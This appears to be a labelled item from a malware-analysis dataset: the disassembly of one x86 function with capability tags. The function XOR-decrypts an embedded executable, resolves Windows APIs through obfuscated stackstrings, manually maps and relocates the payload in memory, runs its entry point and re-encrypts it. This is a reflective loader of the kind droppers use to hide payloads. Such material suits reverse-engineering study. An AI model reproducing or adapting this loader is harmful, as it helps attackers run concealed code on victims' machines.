Function at 0x40a560
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xec
mov eax, dword [0x45e200]
xor eax, esp
mov dword [esp + 0xe8], eax
mov ecx, dword [0x4cfb41]
mov eax, ecx
mov edx, ecx
shl eax, 0x10
and edx, 0xff00
or eax, edx
mov dl, byte [0x4cfb40]
shr ecx, 8
and ecx, 0xff00
shl eax, 8
or eax, ecx
movzx ecx, byte [0x4cfb44]
push ebx
or eax, ecx
push esi
push edi
mov dword [esp + 0x38], eax
mov ecx, 0x4cfb45
jle 0x40a5c8
lea ebx, [ebx]
xor byte [ecx], dl
inc ecx
sub eax, 1
jne 0x40a5c0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.LdrLoadDll
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, 0x65
mov ecx, eax
mov edx, 0x6b
mov word [esp + 0xd8], dx
mov word [esp + 0xda], cx
mov ecx, 0x72
mov edx, ecx
mov word [esp + 0xdc], dx
mov edx, 0x6e
mov word [esp + 0xde], dx
mov edx, eax
mov word [esp + 0xe0], dx
mov edx, 0x6c
mov word [esp + 0xe2], dx
mov edx, 0x33
mov word [esp + 0xe4], dx
mov edx, 0x32
mov word [esp + 0xe6], dx
mov edx, 0x2e
mov word [esp + 0xe8], dx
mov edx, 0x64
mov word [esp + 0xea], dx
mov edx, 0x6c
mov word [esp + 0xec], dx
mov word [esp + 0xee], dx
xor edx, edx
mov bl, 0x74
mov word [esp + 0xf0], dx
mov byte [esp + 0xd6], dl
mov dl, 0x61
mov byte [esp + 0xc8], 0x47
mov byte [esp + 0xc9], al
mov byte [esp + 0xca], bl
mov byte [esp + 0xcb], 0x50
mov byte [esp + 0xcc], cl
mov byte [esp + 0xcd], 0x6f
mov byte [esp + 0xce], 0x63
mov byte [esp + 0xcf], 0x41
mov byte [esp + 0xd0], 0x64
mov byte [esp + 0xd1], 0x64
mov byte [esp + 0xd2], cl
mov byte [esp + 0xd3], al
mov byte [esp + 0xd4], 0x73
mov byte [esp + 0xd5], 0x73
mov byte [esp + 0xa8], 0x4c
mov byte [esp + 0xa9], 0x6f
mov byte [esp + 0xaa], dl
mov byte [esp + 0xab], 0x64
mov byte [esp + 0xac], 0x4c
mov byte [esp + 0xad], 0x69
mov byte [esp + 0xae], 0x62
mov byte [esp + 0xaf], cl
mov byte [esp + 0xb0], dl
mov byte [esp + 0xb1], cl
mov byte [esp + 0xb2], 0x79
mov byte [esp + 0xb3], 0x41
mov byte [esp + 0xb4], 0
mov byte [esp + 0x98], 0x56
mov byte [esp + 0x99], 0x69
mov byte [esp + 0x9a], cl
mov byte [esp + 0x9b], bl
mov byte [esp + 0x9c], 0x75
mov byte [esp + 0x9d], dl
mov byte [esp + 0x9e], 0x6c
mov byte [esp + 0x9f], 0x41
mov byte [esp + 0xa0], 0x6c
mov byte [esp + 0xa1], 0x6c
mov byte [esp + 0xa2], 0x6f
mov byte [esp + 0xa3], 0x63
mov byte [esp + 0xa4], 0
mov byte [esp + 0x7c], 0x56
mov byte [esp + 0x7d], 0x69
mov byte [esp + 0x7e], cl
mov byte [esp + 0x7f], bl
mov byte [esp + 0x80], 0x75
mov byte [esp + 0x81], dl
mov byte [esp + 0x82], 0x6c
mov byte [esp + 0x83], 0x46
mov byte [esp + 0x84], cl
mov byte [esp + 0x85], al
mov byte [esp + 0x86], al
mov byte [esp + 0x87], 0
mov byte [esp + 0xb8], 0x56
mov byte [esp + 0xb9], 0x69
mov byte [esp + 0xba], cl
mov byte [esp + 0xbb], bl
mov byte [esp + 0xbc], 0x75
mov byte [esp + 0xbd], dl
mov byte [esp + 0xbe], 0x6c
mov byte [esp + 0xbf], 0x50
mov byte [esp + 0xc0], cl
mov byte [esp + 0xc1], 0x6f
mov byte [esp + 0xc2], bl
mov byte [esp + 0xc3], al
mov byte [esp + 0xc4], 0x63
mov byte [esp + 0xc5], bl
mov byte [esp + 0xc6], 0
mov byte [esp + 0x88], 0x49
mov byte [esp + 0x89], 0x73
mov byte [esp + 0x8a], 0x42
mov byte [esp + 0x8b], dl
mov byte [esp + 0x8c], 0x64
mov byte [esp + 0x8d], 0x52
mov byte [esp + 0x8e], al
mov byte [esp + 0x8f], dl
mov byte [esp + 0x90], 0x64
mov byte [esp + 0x91], 0x50
mov byte [esp + 0x92], bl
mov byte [esp + 0x93], cl
mov byte [esp + 0x94], 0
test esi, esi
je 0x40ae9e
mov eax, 0x18
mov ecx, eax
mov word [esp + 0x30], ax
lea eax, [esp + 0x28]
push eax
mov word [esp + 0x36], cx
lea ecx, [esp + 0x34]
push ecx
push 0
lea edx, [esp + 0xe4]
push 0
mov dword [esp + 0x44], edx
call esi
test eax, eax
jl 0x40ae9e
mov edi, dword [esp + 0x28]
mov edx, dword [edi + 0x3c]
lea eax, [edx + edi]
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x40a93a
mov eax, dword [eax + 0x78]
jmp 0x40a940
mov eax, dword [eax + 0x88]
test eax, eax
je 0x40ae9e
add eax, edi
test eax, eax
je 0x40ae9e
mov ecx, dword [eax + 0x1c]
mov ebx, dword [eax + 0x24]
mov edx, dword [eax + 0x20]
mov eax, dword [eax + 0x18]
add ecx, edi
add edx, edi
add ebx, edi
xor esi, esi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x24], edx
mov dword [esp + 0x18], eax
test eax, eax
jbe 0x40ae9e
jmp 0x40a984
mov edx, dword [esp + 0x24]
movzx eax, word [ebx + esi*2]
mov dword [esp + 0x14], eax
mov eax, dword [edx + esi*4]
lea ecx, [esp + 0xc8]
add eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a9b8
test dl, dl
je 0x40a9b4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a9b8
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a998
xor eax, eax
jmp 0x40a9bd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40a9dd
inc esi
cmp esi, dword [esp + 0x18]
jb 0x40a980
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe8]
xor ecx, esp
call fcn.0043270e
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
mov esi, dword [ecx + edx*4]
add esi, edi
mov dword [esp + 0x24], esi
je 0x40ae9e
lea eax, [esp + 0xa8]
push eax
push edi
call esi
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x98]
push ecx
push edx
mov dword [esp + 0x48], eax
call esi
mov ecx, dword [esp + 0x28]
mov ebx, eax
lea eax, [esp + 0x7c]
push eax
push ecx
mov dword [esp + 0x54], ebx
call esi
lea edx, [esp + 0xb8]
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x28]
push edx
push eax
call esi
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x88]
push ecx
push edx
mov dword [esp + 0x5c], eax
call esi
mov dword [esp + 0x58], eax
mov eax, 0x5a4d
cmp word [0x4cfb45], ax
jne 0x40ae83
mov eax, dword [0x4cfb81]
cmp dword [eax + 0x4cfb45], 0x4550
lea eax, [eax + 0x4cfb45]
mov dword [esp + 0x10], eax
jne 0x40ae83
push 4
mov ecx, eax
mov edx, dword [ecx + 0x50]
push 0x2000
push edx
push 0
call ebx
push 4
push 0x1000
push 0x1a0
mov edi, eax
push 0
mov dword [esp + 0x2c], edi
call ebx
mov esi, eax
mov dword [esi + 4], edi
xor eax, eax
mov dword [esi + 0x198], 0
lea edi, [esi + 8]
mov ecx, 0x64
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x1c]
mov dword [esi + 0x19c], eax
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x50]
push 4
push 0x1000
push ecx
push edi
mov dword [esp + 0x30], esi
call ebx
mov edx, dword [esp + 0x10]
mov eax, dword [edx + 0x54]
push 4
push 0x1000
push eax
push edi
call ebx
mov ecx, dword [esp + 0x10]
mov ecx, dword [ecx + 0x54]
add ecx, dword [0x4cfb81]
mov dl, byte [0x4cfb45]
sub ecx, 1
mov edi, eax
mov byte [edi], dl
je 0x40ab30
mov edx, 0x4cfb45
sub edx, edi
mov dword [esp + 0x18], edx
jmp 0x40ab24
mov edx, dword [esp + 0x18]
mov dl, byte [edx + eax + 1]
inc eax
sub ecx, 1
mov byte [eax], dl
jne 0x40ab20
mov eax, dword [0x4cfb81]
mov ecx, dword [esp + 0x1c]
add eax, edi
mov dword [esi], eax
mov dword [eax + 0x34], ecx
mov edx, dword [esi + 4]
mov eax, dword [esi]
movzx ecx, word [eax + 0x14]
mov dword [esp + 0x14], edx
xor edx, edx
lea esi, [ecx + eax + 0x18]
mov dword [esp + 0x18], 0
cmp dx, word [eax + 6]
jae 0x40abf8
add esi, 0x10
mov eax, dword [esi]
test eax, eax
jne 0x40ab9b
mov eax, dword [esp + 0x10]
mov edi, dword [eax + 0x38]
test edi, edi
jle 0x40abda
mov ecx, dword [esi - 4]
add ecx, dword [esp + 0x14]
push 4
push 0x1000
push edi
push ecx
call ebx
mov dword [esi - 8], eax
mov ecx, edi
mov byte [eax], 0
dec ecx
inc eax
test ecx, ecx
jg 0x40ab90
jmp 0x40abda
mov edx, dword [esi - 4]
add edx, dword [esp + 0x14]
push 4
push 0x1000
push eax
push edx
call ebx
mov ecx, dword [esi + 4]
mov edi, dword [esi]
add ecx, 0x4cfb45
sub edi, 1
mov dl, byte [ecx]
mov dword [esp + 0x2c], eax
mov byte [eax], dl
je 0x40abd7
mov edx, eax
mov bl, byte [ecx + 1]
inc ecx
inc edx
sub edi, 1
mov byte [edx], bl
jne 0x40abc7
mov ebx, dword [esp + 0x4c]
mov dword [esi - 8], eax
mov ecx, dword [esp + 0x20]
mov edx, dword [ecx]
mov eax, dword [esp + 0x18]
movzx ecx, word [edx + 6]
inc eax
add esi, 0x28
cmp eax, ecx
mov dword [esp + 0x18], eax
jl 0x40ab68
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
sub eax, dword [ecx + 0x34]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x2c], eax
je 0x40ac86
mov eax, dword [edx]
mov ebx, dword [edx + 4]
add eax, 0xa0
cmp dword [eax + 4], 0
mov dword [esp + 0x18], ebx
jbe 0x40ac86
mov ecx, dword [eax]
mov eax, dword [ecx + ebx]
add ecx, ebx
test eax, eax
jbe 0x40ac86
lea edi, [ebx + eax]
mov eax, dword [ecx + 4]
sub eax, 8
xor edx, edx
lea esi, [ecx + 8]
test eax, 0xfffffffe
jbe 0x40ac79
movzx eax, word [esi]
mov ebx, eax
and ebx, 0xfffff000
cmp ebx, 0x3000
jne 0x40ac65
mov ebx, dword [esp + 0x2c]
and eax, 0xfff
add eax, edi
add dword [eax], ebx
mov eax, dword [ecx + 4]
sub eax, 8
inc edx
shr eax, 1
add esi, 2
cmp edx, eax
jb 0x40ac45
mov ebx, dword [esp + 0x18]
add ecx, dword [ecx + 4]
mov eax, dword [ecx]
test eax, eax
ja 0x40ac30
mov edx, dword [esp + 0x20]
mov eax, dword [edx]
mov ecx, dword [edx + 4]
sub eax, 0xffffff80
cmp dword [eax + 4], 0
mov dword [esp + 0x10], ecx
jbe 0x40ad62
mov eax, dword [eax]
add eax, ecx
push 0x14
push eax
mov dword [esp + 0x1c], eax
call dword [esp + 0x60]
test eax, eax
jne 0x40ad62
mov esi, dword [esp + 0x14]
mov eax, dword [esi + 0xc]
test eax, eax
je 0x40ad62
mov edx, dword [esp + 0x10]
add edx, eax
push edx
call dword [esp + 0x44]
mov ebx, eax
test ebx, ebx
je 0x40ae83
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x198]
mov dword [eax + ecx*4 + 8], ebx
inc dword [eax + 0x198]
mov eax, dword [esi]
test eax, eax
je 0x40ad03
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov esi, dword [edx + 0x10]
lea edi, [ecx + eax]
add esi, ecx
jmp 0x40ad13
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x10]
mov edx, dword [esp + 0x10]
lea edi, [ecx + edx]
mov esi, edi
mov eax, dword [edi]
test eax, eax
je 0x40ad48
jns 0x40ad23
and eax, 0xffff
push eax
jmp 0x40ad2c
mov ecx, dword [esp + 0x10]
lea edx, [ecx + eax + 2]
push edx
push ebx
call dword [esp + 0x2c]
mov dword [esi], eax
test eax, eax
je 0x40ae83
mov eax, dword [edi + 4]
add edi, 4
add esi, 4
test eax, eax
jne 0x40ad19
mov esi, dword [esp + 0x14]
add esi, 0x14
push 0x14
push esi
mov dword [esp + 0x1c], esi
call dword [esp + 0x60]
test eax, eax
je 0x40acb7
mov ebx, dword [esp + 0x20]
mov eax, dword [ebx]
movzx ecx, word [eax + 0x14]
xor edx, edx
mov dword [esp + 0x5c], 1
mov dword [esp + 0x60], 8
mov dword [esp + 0x64], 2
mov dword [esp + 0x68], 4
mov dword [esp + 0x6c], 0x10
mov dword [esp + 0x70], 0x80
mov dword [esp + 0x74], 0x20
mov dword [esp + 0x78], 0x40
lea ecx, [ecx + eax + 0x18]
mov dword [esp + 0x24], 0
cmp dx, word [eax + 6]
jae 0x40ae57
lea edi, [ecx + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x40adf8
mov eax, dword [edi - 0x14]
mov ecx, dword [edi - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x5c]
jmp 0x40ae3d
lea edx, [edx + ecx*2]
lea ecx, [esi + edx*2]
mov edx, dword [esp + ecx*4 + 0x5c]
test eax, 0x4000000
je 0x40ae0f
or edx, 0x200
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x40ae2c
test al, 0x40
je 0x40ae21
mov eax, dword [ebx]
mov ecx, dword [eax + 0x20]
jmp 0x40ae2a
test al, al
jns 0x40ae3d
mov ecx, dword [ebx]
mov ecx, dword [ecx + 0x24]
test ecx, ecx
jbe 0x40ae3d
lea eax, [esp + 0x2c]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [esp + 0x64]
mov edx, dword [ebx]
mov eax, dword [esp + 0x24]
movzx ecx, word [edx + 6]
inc eax
add edi, 0x28
cmp eax, ecx
mov dword [esp + 0x24], eax
jl 0x40adc7
mov edx, dword [ebx]
mov eax, dword [edx + 0x28]
test eax, eax
je 0x40ae83
mov ecx, dword [esp + 0x1c]
add eax, ecx
je 0x40ae83
push 0
push 1
mov edx, ecx
push edx
call eax
test eax, eax
je 0x40ae83
mov eax, dword [esp + 0x20]
mov dword [eax + 0x19c], 1
mov edx, dword [esp + 0x38]
mov cl, byte [0x4cfb40]
mov eax, 0x4cfb45
test edx, edx
jle 0x40ae9e
xor byte [eax], cl
inc eax
sub edx, 1
jne 0x40ae96
mov ecx, dword [esp + 0xf4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0043270e
mov esp, ebp
pop ebp
ret